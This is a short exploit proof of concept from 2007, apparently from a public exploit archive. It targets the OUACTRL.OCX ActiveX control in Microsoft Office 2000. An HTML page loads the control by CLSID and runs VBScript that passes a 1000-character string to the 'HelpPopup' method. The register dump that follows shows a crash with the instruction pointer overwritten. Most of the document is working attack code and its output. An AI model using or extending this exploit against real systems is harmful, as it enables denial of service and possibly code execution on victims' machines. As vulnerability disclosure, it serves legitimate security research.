Microsoft Office 2000 (OUACTRL.OCX 1.0.1.9) - Remote Denial of Service

<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/23</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------------------------------------------
 <b>Microsoft Office 2000 Controllo UA di Microsoft Office (OUACTRL.OCX v. 1.0.1.9) "HelpPopup" method Remote Buffer Overflow
 and winhlp32.exe Denial of Service (hey, don't you think this is a very long title :)</b>

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 control is set as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
---------------------------------------------------------------------------------------------------------------------------

<object classid='clsid:8936033C-4A50-11D1-98A4-00A0C90F27C6' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
 Sub tryMe()
  buff = String(1000, "a")

  test.HelpPopup buff, "default"
 End Sub
</script>

Registers content:

EAX 00000000
ECX 7E39EC0C USER32.7E39EC0C
EDX 7C91EB94 ntdll.KiFastSystemCallRet
EBX 38CFD2D0 OUACTRL.38CFD2D0
ESP 01D0F434 UNICODE "aaaa..."
EBP 00610061
ESI 02ACC86C
EDI 00000000

EIP 00610061
</span></span>

</code></pre>

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